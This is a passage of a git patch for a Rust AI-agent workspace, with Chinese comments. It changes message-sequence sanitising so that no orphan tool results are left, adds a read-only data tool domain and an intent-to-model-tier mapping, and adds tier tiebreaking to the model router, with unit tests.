From ea309c607b37f8c6e6367a699a4d9b579727ce7c Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E7=BB=9D=E5=B0=98?= <237809796@qq.com> Date: Sun, 2 Aug 2026 10:44:09 +0800 Subject: [PATCH] =?UTF-8?q?=E4=BF=AE=E5=A4=8D+=E9=87=8D=E6=9E=84:=20?= =?UTF-8?q?=E5=85=A8=E5=BA=93=E8=B5=B0=E6=9F=A5=E7=9C=9Fbug+=E6=9E=B6?= =?UTF-8?q?=E6=9E=84+P1/P2=20=E5=90=8E=E7=AB=AF=20crate?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - df-nodes: schema required 对齐 + docker POSIX 注入防御 + HumanNode timeout 1800 + parse_review_json(verdict规范/score clamp/正则兜底) - df-mcp: update 实体校验(防跨实体 B-260801-01) - df-storage: keyring 迁移失败达阈值清除明文 - df-ai: router estimated_context+tier tiebreak+DataReadOnly 兜底 + sanitize step4 显式不制造 orphan - df-ideas: adversarial tier:None 对齐 --- crates/df-ai/src/context/sanitize.rs | 191 +++++++++++++- crates/df-ai/src/intent.rs | 169 ++++++++++--- crates/df-ai/src/router.rs | 230 +++++++++++++++-- crates/df-ideas/src/adversarial.rs | 1 + crates/df-mcp/src/tools.rs | 276 ++++++++++++++++++++- crates/df-nodes/src/ai_node.rs | 38 ++- crates/df-nodes/src/ai_node_helpers.rs | 83 ++++++- crates/df-nodes/src/ai_self_review_node.rs | 144 ++++++++++- crates/df-nodes/src/docker_node.rs | 228 +++++++++++++++-- crates/df-nodes/src/human_node.rs | 14 +- crates/df-storage/src/secret.rs | 234 ++++++++++++++++- 11 files changed, 1512 insertions(+), 96 deletions(-) diff --git a/crates/df-ai/src/context/sanitize.rs b/crates/df-ai/src/context/sanitize.rs index ac30252..33bf338 100644 --- a/crates/df-ai/src/context/sanitize.rs +++ b/crates/df-ai/src/context/sanitize.rs @@ -358,16 +358,50 @@ pub fn assert_placeholder_pairing( /// 注:连续同 role(user/user、assistant/assistant)现实极少——裁剪按三元组原子保护不产生连续 user, /// archived/compressed 过滤后由摘要 system 占位——故本轮不合并(合并会破坏裁剪保护区语义 + 改变条数, /// 致 over_budget_trims_old 等测试失败)。若运行时日志显示连续 role 也是 1214 来源,再补合并。 +/// +/// **不制造 orphan(自洽,根本修)**:开头 skip assistant 头时,**显式连带 skip 其后命中的 tool_result** +/// (id 在被 skip 头的 tool_calls 内)。旧实现依赖隐式巧合——367 行 `Assistant | Tool` 联合判断 + +/// `fixed.is_empty()` 在整组 skip 期间保持 true,使开头整组(head + result)被一起丢。这个契约脆弱: +/// (1) 若有人改开头 skip 只针对 Assistant(为修连续 role),立刻制造 orphan; +/// (2) step3.5(`drop_reverse_orphans`)在 step4 前跑,无法预见 step4 自身 skip 制造的 orphan; +/// (3) memory `ai-router-sanitize-refactor-debt` 走查标 P1 隐式契约债。 +/// 根本修:step4 主动跟踪自己 skip 掉的 head 的 tool_call.id,后续 tool_result 命中即连带丢, +/// 把"不制造 orphan"从隐式巧合变为显式机制——不依赖下游 `assert_placeholder_pairing` 出口断言兜底。 +/// 保留 367 行"开头 tool_result 也 skip"(防御性兜底:防 step3.5 未跑/开关关闭时孤儿 result 漏网)。 pub fn ensure_sequence_legal(messages: Vec) -> Vec { + use std::collections::HashSet; let mut skipped = 0u32; let mut merged = 0u32; + // 被 step4 自身 skip 掉的 assistant 头的 tool_call.id 集合。 + // 后续 tool_result 若命中(id 在此集合),说明其头被 step4 skip 掉了 → 连带丢(不制造 orphan)。 + let mut skipped_head_ids: HashSet = HashSet::new(); let mut fixed: Vec = Vec::with_capacity(messages.len()); for m in messages { - // 首条必须 user:skip 开头 assistant/tool(无前置 user 的孤儿) + // 首条必须 user:skip 开头 assistant/tool(无前置 user 的孤儿)。 + // assistant 头被 skip 时,记录其 tool_call.id,后续 result 命中即连带丢(根本修:不制造 orphan)。 if fixed.is_empty() && matches!(m.role, MessageRole::Assistant | MessageRole::Tool) { + if matches!(m.role, MessageRole::Assistant) { + if let Some(calls) = m.tool_calls.as_ref() { + for c in calls { + skipped_head_ids.insert(c.id.clone()); + } + } + } skipped += 1; continue; } + // 自洽兜底(根本修):tool_result 的 id 命中被 skip 头集合 → 其头已被 step4 自身丢, + // 留下即 orphan(直送 provider 400)。显式连带丢,不依赖下游出口断言兜底。 + // 注:仅丢"step4 自己制造的 orphan",step3.5 已补头的 result 不受影响(其头在 fixed 中,id 不在集合)。 + if matches!(m.role, MessageRole::Tool) { + if m.tool_call_id + .as_deref() + .is_some_and(|id| skipped_head_ids.contains(id)) + { + skipped += 1; + continue; + } + } // 连续同 role 合并(user content;assistant content+tool_calls;Tool 不合并—— // 连续 tool_result 由 anthropic_compat flush_tool_results 合并成 user blocks,此处合会丢 id) if let Some(last) = fixed.last_mut() { @@ -394,7 +428,7 @@ pub fn ensure_sequence_legal(messages: Vec) -> Vec { tracing::warn!( skipped, merged, - "序列修复:skip 开头非 user + 合并连续同 role(view-only,避免 Anthropic/GLM 1214)" + "序列修复:skip 开头非 user(含连带丢 orphan result)+ 合并连续同 role(view-only,避免 Anthropic/GLM 1214)" ); } fixed @@ -1017,4 +1051,157 @@ mod tests { "result id 应与补头 id 一致(闭合配对)" ); } + + // ============================================================ + // step4 不制造 orphan(根本修:显式整组 skip,不依赖下游出口断言) + // ============================================================ + + #[test] + fn ensure_sequence_legal_skips_leading_assistant_head_with_its_tool_result() { + // 根本修核心场景( memory ai-router-sanitize-refactor-debt P1 隐式契约债): + // 开头 user 被 step0/裁剪裁掉后,序列以合法 assistant 工具三元组头开头: + // [asst(head, tc_a)] [tool_result(tc_a)] [user "实问"] + // step4 skip 开头 assistant 头(首条非 user)→ 必须连带 skip 其后的 tool_result(tc_a), + // 否则 tool_result 无头成 orphan(直送 provider 400)。 + // + // 旧实现依赖隐式巧合:367 行 `Assistant | Tool` 联合判断 + fixed.is_empty() 整组保持 true, + // 使开头 tool_result 也被 skip。本测验证根本修后**显式机制**(跟踪被 skip head 的 id, + // result 命中即连带丢)——即使将来有人改 367 行只 skip Assistant,本测仍通过(连带丢兜底)。 + let msgs = vec![ + ChatMessage::assistant_with_tools( + "调用工具", + vec![ToolCall::new("tc_a", "read_file", "{}")], + ), + ChatMessage::tool_result("tc_a", "工具结果"), + ChatMessage::user("实问"), + ]; + let fixed = ensure_sequence_legal(msgs); + + // 输出仅剩首条 user(开头三元组整组丢,不留 orphan tool_result) + assert_eq!( + fixed.len(), + 1, + "开头 asst(head)+tool_result 应整组 skip, 实际 {} 条: {:?}", + fixed.len(), + fixed.iter().map(|m| format!("{:?}", m.role)).collect::>() + ); + assert!(matches!(fixed[0].role, MessageRole::User)); + assert_eq!(fixed[0].content, "实问"); + // 核心断言:输出中不得有任何 tool_result(无 orphan) + let tool_count = fixed + .iter() + .filter(|m| matches!(m.role, MessageRole::Tool)) + .count(); + assert_eq!(tool_count, 0, "step4 不应留下 orphan tool_result"); + } + + #[test] + fn ensure_sequence_legal_no_orphan_when_leading_user_dropped_mid_sequence() { + // 根本修进阶场景:开头 user 被裁 + 中间还有合法三元组(其 head 也在开头被 skip)。 + // 序列:[asst(head1, tc_a)] [tool(tc_a)] [asst(head2, tc_b)] [tool(tc_b)] [user "问"] + // 旧隐式契约:整组都 skip(fixed 全程空,所有 Assistant|Tool 命中 367)。 + // 根本修后:head1 skip(记 tc_a),tc_a 连带丢(命中集合);head2 skip(记 tc_b),tc_b 连带丢。 + // 结果:只剩 [user "问"]。验证多组三元组在开头被整组 skip 不留 orphan。 + let msgs = vec![ + ChatMessage::assistant_with_tools( + "调1", + vec![ToolCall::new("tc_a", "fn_a", "{}")], + ), + ChatMessage::tool_result("tc_a", "结果A"), + ChatMessage::assistant_with_tools( + "调2", + vec![ToolCall::new("tc_b", "fn_b", "{}")], + ), + ChatMessage::tool_result("tc_b", "结果B"), + ChatMessage::user("问"), + ]; + let fixed = ensure_sequence_legal(msgs); + assert_eq!( + fixed.len(), + 1, + "开头两组三元组应整组 skip, 实际 {:?}", + fixed.iter().map(|m| format!("{:?}", m.role)).collect::>() + ); + assert!(matches!(fixed[0].role, MessageRole::User)); + // 不留任何 orphan tool_result + let tool_count = fixed + .iter() + .filter(|m| matches!(m.role, MessageRole::Tool)) + .count(); + assert_eq!(tool_count, 0, "不应留下 orphan tool_result"); + } + + #[test] + fn ensure_sequence_legal_preserves_well_formed_triplet_after_user() { + // 根本修回归保护:user 在前 + 完整合法三元组在后 → 三元组原样保留(不被误丢)。 + // 验证根本修的"连带丢 orphan"只针对"被 step4 自己 skip 的头", + // 不影响 user 之后正常三元组(其 head 进 fixed 不被 skip,id 不入 skipped_head_ids)。 + let msgs = vec![ + ChatMessage::user("开场"), + ChatMessage::assistant_with_tools( + "调", + vec![ToolCall::new("tc_ok", "fn", "{}")], + ), + ChatMessage::tool_result("tc_ok", "结果"), + ChatMessage::user("收尾"), + ]; + let fixed = ensure_sequence_legal(msgs); + // 全保留:首条 user 已合法,后续三元组闭合,无 skip 无合并 + assert_eq!( + fixed.len(), + 4, + "合法序列应原样保留, 实际 {} 条", + fixed.len() + ); + assert!(matches!(fixed[0].role, MessageRole::User)); + assert!(matches!(fixed[1].role, MessageRole::Assistant)); + assert!(matches!(fixed[2].role, MessageRole::Tool)); + assert!(matches!(fixed[3].role, MessageRole::User)); + // tool_result 保留(配对闭合,非 orphan) + let tool = fixed + .iter() + .find(|m| matches!(m.role, MessageRole::Tool)) + .expect("合法三元组的 tool_result 应保留"); + assert_eq!(tool.tool_call_id.as_deref(), Some("tc_ok")); + } + + #[test] + fn sanitize_messages_step4_self_contained_no_orphan_without_exit_assert() { + // 端到端根本修验证(不经出口断言):模拟"开头 user 被裁 + 直接调 sanitize_messages" + // (即用户担心的"若直接调 sanitize_messages 不经出口,orphan 直送 provider 400"路径)。 + // 根本修后:step4 自洽,sanitize_messages 输出本身不含 step4 制造的 orphan, + // 不依赖调用方再跑 assert_placeholder_pairing 兜底。 + // + // 场景:step3.5(PLACEHOLDER_INTEGRITY_ENABLED=true)跑过后,开头三元组闭合, + // 但 step4 skip 开头 assistant 头 → 根本修连带丢其 result。 + // 输入模拟"开头 user 被 step0 过滤掉":序列以 assistant head 开头。 + let orphan_inducing = vec![ + ChatMessage::assistant_with_tools( + "调工具", + vec![ToolCall::new("tc_step4", "fn", "{}")], + ), + ChatMessage::tool_result("tc_step4", "工具结果"), + ChatMessage::user("后续问题"), + ]; + let sanitized = sanitize_messages(orphan_inducing); + + // 核心断言:sanitize_messages 输出无 orphan tool_result(不依赖出口断言) + let orphan_tool_results: Vec<_> = sanitized + .iter() + .filter(|m| matches!(m.role, MessageRole::Tool)) + .collect(); + assert!( + orphan_tool_results.is_empty(), + "step4 根本修:sanitize_messages 输出不应含 orphan tool_result(自洽,不依赖出口断言), 实际 {:?}", + sanitized.iter().map(|m| format!("{:?}", m.role)).collect::>() + ); + // 首条必须是 user(step4 序列修复后) + assert!( + sanitized + .first() + .is_some_and(|m| matches!(m.role, MessageRole::User)), + "首条必须是 user, 实际 {:?}", + sanitized.first().map(|m| format!("{:?}", m.role)) + ); + } } diff --git a/crates/df-ai/src/intent.rs b/crates/df-ai/src/intent.rs index f889417..603967d 100644 --- a/crates/df-ai/src/intent.rs +++ b/crates/df-ai/src/intent.rs @@ -8,8 +8,9 @@ //! 1. `IntentRecognizer::recognize(message)` —— 规则/关键词匹配(方式 A,零延迟零成本) //! 返回 `(Intent, f32)`,置信度 0.0–1.0。低置信 → 上游 fallback 全量工具。 //! 2. `tool_subset_for(intent)` —— 硬编码工具名→domain 映射,工具名子集(空 = 全量 fallback)。 -//! 3. `suggested_model_tier(intent)` —— 模态建议**接口预留**,当前恒返 `None` -//! (待模型模态管理 Phase 落地后补充实际逻辑)。 +//! 3. `suggested_model_tier(intent)` —— 模型模态档位建议(意图 → `ModelTier` 映射): +//! Code/Debug/Http → Heavy,File/Search/Task/Idea/Project/Conversation → Standard, +//! Chat → Fast,Unknown → None(不强加偏好)。router 同 weight tiebreak + 模型路由用。 //! //! ## 设计原则 //! - **不碰** `tool_registry`:domain 映射在本文件内硬编码工具名常量,运行期不读 registry。 @@ -70,12 +71,12 @@ impl Intent { } } -// ---- ModelTier 预留 --------------------------------------------------------- +// ---- ModelTier 档位 --------------------------------------------------------- -/// 模型模态档位(**预留**)。 +/// 模型模态档位。 /// -/// 待模型模态管理 Phase 落地后定义实际 provider/model 映射。 -/// 当前仅占位于 `suggested_model_tier` 返回类型,逻辑恒返 `None`。 +/// `suggested_model_tier` 据 Intent 映射到此档位,供 router 同 weight tiebreak +/// (重档位优先)或后续 provider/model 路由(待模型模态管理 Phase 接入)使用。 #[derive(Debug, Clone, Copy, PartialEq, Eq)] pub enum ModelTier { /// 轻量快速(简单意图/闲聊) @@ -230,8 +231,14 @@ const GENERIC_GROUP: &[IntentGroup] = &[ /// 本表硬编码,不读 registry 运行期状态(保持模块独立可单测)。 #[derive(Debug, Clone, Copy, PartialEq, Eq, Hash)] pub enum ToolDomain { - /// 数据/业务:项目/任务/灵感/工作流/回收站 + /// 数据/业务:项目/任务/灵感/工作流/回收站(全量,含写工具) Data, + /// 数据只读子集:list_*/get_*_count(不含 create/update/delete/advance/run_workflow/restore/purge/bind_directory) + /// + /// 用途:`Intent::Code` 收敛工具时,既保留编码场景用户常需要的"看一下项目/任务结构"只读 + /// 探索工具(list_projects/list_tasks/list_ideas/list_trash),又不放大暴露面(不暴露写工具, + /// 对齐 `Intent::Code` 不含 `Intent::Debug` 才有的 run_command 那类收紧设计)。 + DataReadOnly, /// 文件:读写/patch/列目录/搜索(不含命令执行) File, /// 命令执行:run_command(shell 命令,独立 domain 防止被泛 File 意图带出) @@ -280,6 +287,20 @@ impl ToolDomain { // Code/File/Search 不带 → 减少 LLM 对 run_command 的偏好暴露。 ToolDomain::Exec => &["run_command"], ToolDomain::Http => &["http_request"], + // DataReadOnly:Data domain 的只读子集。 + // 源于 Code 意图收敛需求:用户在编码场景说"先 list_projects 看下项目结构" + // "create_task 记一下"时,意图识别可能命中 Code(SPECIFIC > ENTITY),原 Code subset + // 不含 Data domain → list_projects/create_task 对 LLM 不可见,agent 被迫反复 read_file。 + // 加 Data 全 domain 会暴露 create/update/delete 等写工具(放大暴露面), + // 故取只读子集:list_*/get_*_count(纯查询,无副作用)。 + ToolDomain::DataReadOnly => &[ + "list_projects", + "list_tasks", + "list_ideas", + "list_trash", + "get_project_count", + "get_task_count", + ], } } } @@ -416,14 +437,17 @@ fn best_in_group(message: &str, group: &[IntentGroup]) -> Option<(Intent, f32)> /// 返回空 `Vec` 表示该意图**无工具收敛**(Chat)或**未识别**(Unknown), /// 上游应走**全量 fallback**(即不过滤工具,交全量给 LLM)。 /// -/// 设计:Code → [file, http];File → [file];Project/Task/Idea → [data, file](加 file 防「提项目/任务 → 误判 → 砍只读探索」,见 L1); +/// 设计:Code → [file, http, data_readonly](加 data_readonly:编码场景用户常需"先 list_projects +/// 看下结构/list_tasks 记一下",Code 命中优先级高于 Project/Task(SPECIFIC > ENTITY)会砍 Data domain, +/// 取只读子集防"断手"又不放大写工具暴露面,见 ToolDomain::DataReadOnly); +/// File → [file];Project/Task/Idea → [data, file](加 file 防「提项目/任务 → 误判 → 砍只读探索」,见 L1); /// Http → [http];Search → [file](含 search_files);Conversation → []; /// Chat → [];Debug → [file, exec, http, data](调试常需跑命令+读文件+查 API+查任务/工作流状态,CR-25 审查🟡-1 加 data 防"调试任务"丢 Data 工具); /// **仅 Debug 含 Exec**(用户明确"运行/测试/构建/调试"才暴露 run_command), /// Code/File/Search 不含 Exec → 收紧 run_command 暴露面;Unknown → [](全量)。 pub fn tool_subset_for(intent: &Intent) -> Vec<&'static str> { let domains: &[ToolDomain] = match intent { - Intent::Code => &[ToolDomain::File, ToolDomain::Http], + Intent::Code => &[ToolDomain::File, ToolDomain::Http, ToolDomain::DataReadOnly], Intent::Debug => &[ToolDomain::File, ToolDomain::Exec, ToolDomain::Http, ToolDomain::Data], Intent::File => &[ToolDomain::File], // Project/Task/Idea 加 File:用户提"项目/任务"时常是在其内编码/排查 @@ -449,19 +473,36 @@ pub fn tool_subset_for(intent: &Intent) -> Vec<&'static str> { out } -// ---- 模态建议(接口预留) --------------------------------------------------- +// ---- 模态建议(意图 → 模型 tier 映射) ---------------------------------------- -/// 按 Intent 建议模型模态档位。 +/// 按 Intent 建议模型模态档位(意图 → 模型 tier 的语义映射)。 /// -/// **预留接口**:当前恒返 `None`。待模型模态管理 Phase 落地后补充: -/// - Chat/Conversation → `Fast` -/// - Code/File/Task/Idea/Search → `Standard` -/// - Debug/Http(复杂排查/多跳调用)→ `Heavy` +/// **映射分组**(对齐 router 同 weight tiebreak 缺语义的根因修复): +/// - `Code`/`Debug` → `Heavy`(复杂推理/重构/排查,需重模型) +/// - `Http` → `Heavy`(多跳外部调用,链长易错,需重模型把关) +/// - `File`/`Search`/`Task`/`Idea`/`Project`/`Conversation` → `Standard`(默认复杂度) +/// - `Chat` → `Fast`(简单闲聊,轻量即可) +/// - `Unknown` → `None`(未识别,fallback 全量工具时不强加 tier 偏好, +/// 上游走默认档位) /// -/// 返回 `None` 时上游应使用默认档位(待模态管理 Phase 定义)。 -pub fn suggested_model_tier(_intent: &Intent) -> Option { - // TODO(model-tier-phase): 待模型模态管理落地后填实映射。 - None +/// 返回 `Some(ModelTier)` 时上游可作为同 weight 候选间的 tiebreak 依据 +/// (重档位优先),或据此路由到不同 provider/model(待模型模态管理 Phase 接入)。 +pub fn suggested_model_tier(intent: &Intent) -> Option { + match intent { + // 重型:复杂推理/重构/排查/多跳调用 + Intent::Code | Intent::Debug | Intent::Http => Some(ModelTier::Heavy), + // 标准:默认复杂度 + Intent::File + | Intent::Search + | Intent::Task + | Intent::Idea + | Intent::Project + | Intent::Conversation => Some(ModelTier::Standard), + // 轻量:简单闲聊 + Intent::Chat => Some(ModelTier::Fast), + // 未识别:不强加 tier 偏好,fallback 上游默认 + Intent::Unknown => None, + } } // ---- 工具子集过滤(agentic loop 接入用,改进2 A) ----------------------------- @@ -813,7 +854,55 @@ mod tests { assert!(s.contains(&"write_file")); assert!(s.contains(&"patch_file")); assert!(s.contains(&"http_request")); - assert!(!s.contains(&"list_projects")); + // Code 现含 DataReadOnly → list_projects 等只读工具保留(不再断言"不含") + assert!(s.contains(&"list_projects")); + } + + #[test] + fn subset_code_keeps_data_readonly_tools() { + // 根因修复(Code 命中砍 Data domain 致 list_*/get_*_count 不可见): + // Code subset 应含 DataReadOnly 全部 6 个只读工具,让"先 list_projects 看下结构" + // "list_tasks 记一下"这类编码场景的口语不被 Code 意图砍工具。 + let s = tool_subset_for(&Intent::Code); + for read_only in [ + "list_projects", + "list_tasks", + "list_ideas", + "list_trash", + "get_project_count", + "get_task_count", + ] { + assert!( + s.contains(&read_only), + "Code subset 应含只读工具 {}(DataReadOnly domain)", + read_only + ); + } + } + + #[test] + fn subset_code_no_data_write_tools() { + // 防回归:Code subset 只加 Data 的"只读子集",不得暴露写工具。 + // create_task 不应在 Code subset(只读 list_* 在,写 create_* 不在)。 + // create_project/update_project/delete_project/advance_task/run_workflow 同理。 + let s = tool_subset_for(&Intent::Code); + for write_tool in [ + "create_task", + "update_task", + "delete_task", + "create_project", + "update_project", + "delete_project", + "advance_task", + "run_workflow", + ] { + assert!( + !s.contains(&write_tool), + "Code subset 不应含写工具 {}(只读子集,防放大暴露面), 实际 subset: {:?}", + write_tool, + s + ); + } } #[test] @@ -907,26 +996,39 @@ mod tests { assert_eq!(ToolDomain::Http.tools(), &["http_request"]); } - // --- suggested_model_tier 预留 --- + // --- suggested_model_tier 意图 → 档位映射 --- #[test] - fn model_tier_always_none_for_now() { - // 接口预留:当前所有意图均返 None + fn model_tier_mapping_now_returns_actual() { + // Code/Debug/Http → Heavy(复杂推理/重构/排查/多跳调用) + for i in [Intent::Code, Intent::Debug, Intent::Http] { + assert_eq!( + suggested_model_tier(&i), + Some(ModelTier::Heavy), + "intent {:?} 应映射 Heavy", + i + ); + } + // File/Search/Task/Idea/Project/Conversation → Standard(默认复杂度) for i in [ - Intent::Code, - Intent::Debug, Intent::File, - Intent::Project, + Intent::Search, Intent::Task, Intent::Idea, + Intent::Project, Intent::Conversation, - Intent::Search, - Intent::Http, - Intent::Chat, - Intent::Unknown, ] { - assert_eq!(suggested_model_tier(&i), None, "intent {:?} 应返 None", i); + assert_eq!( + suggested_model_tier(&i), + Some(ModelTier::Standard), + "intent {:?} 应映射 Standard", + i + ); } + // Chat → Fast(简单闲聊) + assert_eq!(suggested_model_tier(&Intent::Chat), Some(ModelTier::Fast)); + // Unknown → None(未识别,不强加 tier 偏好,fallback 上游默认) + assert_eq!(suggested_model_tier(&Intent::Unknown), None); } // --- IntentRecognizer Default --- @@ -1145,10 +1247,13 @@ mod tests { ]; for intent in all_intents { let subset = tool_subset_for(&intent); - // 全 registry 工具名(四 domain 并集:Data + File + Exec + Http) + // 全 registry 工具名(五 domain 并集:Data + DataReadOnly + File + Exec + Http) + // 注:DataReadOnly 工具名是 Data 的子集,chain 它仅为语义显式(并集去重无副作用), + // 防 Code subset 里 list_projects 等 DataReadOnly 工具被判"不在 registry"。 let registry: std::collections::HashSet<&str> = ToolDomain::Data .tools() .iter() + .chain(ToolDomain::DataReadOnly.tools().iter()) .chain(ToolDomain::File.tools().iter()) .chain(ToolDomain::Exec.tools().iter()) .chain(ToolDomain::Http.tools().iter()) diff --git a/crates/df-ai/src/router.rs b/crates/df-ai/src/router.rs index 138adef..f6aa16e 100644 --- a/crates/df-ai/src/router.rs +++ b/crates/df-ai/src/router.rs @@ -10,25 +10,36 @@ // 各自从 df_ai_core::model 取(跨 crate 路径冗长)。select/select_model_id 仅借用枚举,无重定义。 // 注:CostTier/IntelligenceTier 路由已解耦——provider /v1/models API // 不返回这两维度,数据无客观依据不可信,不参与硬路由;re-export 保留供未来真实判别源。 +// ModelTier 从 crate::intent re-export(同 crate,无跨 crate 路径问题),供调用点构造 +// `tier: suggested_model_tier(&intent)` 传入,router 同 weight 时按 tier tiebreak。 +pub use crate::intent::ModelTier; pub use df_ai_core::model::{Capability, CostTier, IntelligenceTier, Modality, ModelConfig}; -/// 任务对模型的需求(3 维度)。 +/// 任务对模型的需求(4 维度)。 /// -/// 由调用点构造,描述本次调用需要什么模态/能力/上下文, +/// 由调用点构造,描述本次调用需要什么模态/能力/上下文/档位, /// 交 ModelRouter::select 在候选池中选最优模型。 /// /// 路由已解耦:原 `min_intelligence`/`max_cost` 两字段删除。 /// provider /v1/models API 不返回 cost_tier/intelligence,这两维度 100% 靠预设表写死 + /// 模型名启发式猜,数据无客观依据不可信,不应参与硬路由。枚举(CostTier/IntelligenceTier) /// 保留供未来出现真实判别源时再接回。 +/// +/// `tier`(子项 2 根因修复):任务建议的模型档位(由 `intent::suggested_model_tier` 派生, +/// 或无意图场景传 None)。原 `max_by_key(weight)` 同 weight 返最后一个,顺序敏感无语义; +/// 接 tier 后,同 weight 时优先选 `intelligence` 满足 tier 下限的候选(见 `tier_match`)。 #[derive(Debug, Clone)] pub struct TaskRequirements { /// 任务所需的模态集合(全子集匹配:任务所需模态都必须在模型模态里) pub modalities: Vec, /// 是否需要工具调用能力(needs_tool_use=true 时候选必须含 Capability::ToolUse) pub needs_tool_use: bool, - /// 预估上下文大小(tokens,模型 context_window 必须 >= 此值) + /// 预估上下文大小(tokens,模型 context_window 必须 >= 此值)。 + /// 调用点应传 TokenEstimator 估值而非 0(0 = 当前空操作,窗口过滤维度失效)。 pub estimated_context: usize, + /// 任务建议的模型档位(意图→ModelTier,无意图场景 None)。 + /// 同 weight 候选间按 tier tiebreak(满足 tier 下限的候选胜)。 + pub tier: Option, } /// 模型路由器(单元结构,无状态)。 @@ -36,6 +47,33 @@ pub struct TaskRequirements { /// select 为关联函数:给定需求 + 候选池,执行过滤链选最优模型。 pub struct ModelRouter; +/// ModelTier → IntelligenceTier 下限映射(子项 2 tier tiebreak 用)。 +/// +/// 任务建议档位(ModelTier:F-Heavy)映射到模型智力下限(IntelligenceTier), +/// 同 weight 候选间优先选 `model.intelligence >= 下限` 的(满足任务复杂度需求)。 +/// - `Fast` → `Lite`(轻量意图,任何模型都满足) +/// - `Standard` → `Standard`(日常,需 Standard 及以上) +/// - `Heavy` → `Plus`(复杂推理,需 Plus 及以上) +fn tier_min_intelligence(tier: ModelTier) -> IntelligenceTier { + match tier { + ModelTier::Fast => IntelligenceTier::Lite, + ModelTier::Standard => IntelligenceTier::Standard, + ModelTier::Heavy => IntelligenceTier::Plus, + } +} + +/// 同 weight tiebreak:候选是否满足任务建议档位的智力下限。 +/// +/// 返 `bool`(满足 = true)。调用方在 `max_by` 闭包内 `a_match.cmp(&b_match)` 把 bool 转 Ordering: +/// a 满足而 b 不满足 → Greater(a 胜);都满足/都不满足 → Equal(max_by 并列返最后一个)。 +/// - `req.tier = None`(无意图场景,标题/扫描/压缩):恒 true(所有候选等价,保留旧行为)。 +/// - `req.tier = Some(t)`:返 `model_intel >= tier_min_intelligence(t)`。 +fn tier_match(model_intel: IntelligenceTier, req_tier: Option) -> bool { + req_tier + .map(|t| model_intel >= tier_min_intelligence(t)) + .unwrap_or(true) // None → 视作满足(tiebreak 维度不参与,保旧行为) +} + impl ModelRouter { /// 在候选池中选出最优模型(过滤链)。 /// @@ -44,19 +82,38 @@ impl ModelRouter { /// 2. 模态匹配 — 任务所需模态全在模型模态里 /// 3. 能力匹配 — needs_tool_use 时候选必须含 ToolUse /// 4. 窗口够大 — context_window >= estimated_context - /// 5. max_by_key 选最优:纯 weight 主导(权重高者胜) + /// 5. max_by 选最优:**主键 weight 降序**(权重高者胜),**同 weight 时按 tier tiebreak** + /// (满足任务建议档位 `intelligence >= tier_min` 的候选胜)。 + /// + /// tier tiebreak(子项 2 根因修复):原 `max_by_key(weight)` 同 weight 返最后一个, + /// 顺序敏感无语义(intent suggested_model_tier 恒 None)→ 现接 `req.tier` + /// (由 intent→ModelTier 派生),同 weight 时优先选满足档位下限的候选。 + /// `req.tier = None` 时 tiebreak 维度退化为等价(保留旧行为,标题/扫描路径无回归)。 /// /// 路由已解耦:原「智力达标」/「成本可控」两步删除, - /// 原第 7 步排序的 `Reverse(cost_tier)` 同权重选便宜也已删除——排序纯 weight 主导。 - /// cost_tier/intelligence 数据无客观依据(provider /v1/models 不返回,靠预设表+模型名 - /// 启发式猜),不参与硬路由。枚举保留供未来真实判别源再接回。 + /// 原第 7 步排序的 `Reverse(cost_tier)` 同权重选便宜也已删除——排序主键 weight 主导, + /// tiebreak 由 tier(基于 intelligence,有客观档位映射依据)替代纯 max_by_key 顺序。 pub fn select<'a>(req: &TaskRequirements, pool: &'a [ModelConfig]) -> Option<&'a ModelConfig> { pool.iter() .filter(|m| m.enabled) // 1. 只选启用的 .filter(|m| req.modalities.iter().all(|r| m.modalities.contains(r))) // 2. 模态匹配 .filter(|m| !req.needs_tool_use || m.capabilities.contains(&Capability::ToolUse)) // 3. 能力匹配 .filter(|m| m.context_window >= req.estimated_context) // 4. 窗口够大 - .max_by_key(|m| m.weight) // 5. 纯 weight 主导 + // 5. 主键 weight 降序,同 weight 时 tier tiebreak(满足档位下限的候选胜)。 + // max_by 语义:comparator 返 a 相对 b 的 Ordering,Greater = a 胜; + // 同 key(全 Equal)时 max_by 返最后一个(对齐原 max_by_key 并列返最后的语义)。 + .max_by(|a, b| { + // 主键:weight,a 大则 a 胜(Greater)。 + let by_weight = a.weight.cmp(&b.weight); + if by_weight != std::cmp::Ordering::Equal { + return by_weight; + } + // tiebreak:tier 满足度。a 满足档位下限而 b 不满足 → a 胜(Greater)。 + // tier_match 返 bool,bool 比较:true > false(满足 > 不满足)。 + let a_match = tier_match(a.intelligence, req.tier); + let b_match = tier_match(b.intelligence, req.tier); + a_match.cmp(&b_match) + }) } } @@ -94,12 +151,13 @@ mod tests { } } - /// 构造一个宽松需求(默认全过过滤,调用方按需覆盖字段)。 + /// 构造一个宽松需求(默认全过过滤,调用方按需覆盖字段)。tier=None 保留旧行为。 fn req() -> TaskRequirements { TaskRequirements { modalities: vec![Modality::Text], needs_tool_use: false, estimated_context: 0, + tier: None, } } @@ -258,7 +316,36 @@ mod tests { assert!(ModelRouter::select(&r, &pool).is_none()); } - // ── 步骤 5:max_by_key (纯 weight) ── + #[test] + fn estimated_context_filters_small_window_model() { + // 子项 1 根因修复回归测:estimated_context 非零(调用点传 TokenEstimator 估值,非死代码 0) + // → 步骤 4 窗口过滤生效。两候选:小窗口(4K)weight 90(高诱惑)+ 大窗口(128K)weight 50。 + // 任务预估 8K 上下文 → 小窗口模型被滤,只剩大窗口候选胜(即使 weight 低)。 + // 若调用点回退传 0(原 bug),两候选窗口都 >= 0,weight 90 的小窗口模型会胜(误选)。 + let pool = vec![ + ModelConfig { + weight: 90, + context_window: 4096, // 小窗口,高 weight 诱惑 + ..model("small-window-heavy") + }, + ModelConfig { + weight: 50, + context_window: 131072, // 大窗口,低 weight + ..model("large-window-light") + }, + ]; + let r = TaskRequirements { + estimated_context: 8000, // 任务预估 8K,小窗口模型装不下 + ..req() + }; + assert_eq!( + ModelRouter::select(&r, &pool).unwrap().model_id, + "large-window-light", + "estimated_context 非零应滤掉小窗口候选,即使其 weight 更高" + ); + } + + // ── 步骤 5:max_by(weight 主键,tier tiebreak) ── #[test] fn single_match_returns_it() { @@ -290,8 +377,9 @@ mod tests { #[test] fn same_weight_picks_first_match() { - // 同 weight 70,纯 weight 主导(无 cost_tier tie-break):max_by_key 遇并列 key - // 返回最后一个(rust Iterator::max_by_key 语义)。验证同 weight 不再按 cost 取舍。 + // 同 weight 70,tier=None(req() 默认):tiebreak 维度退等价,max_by 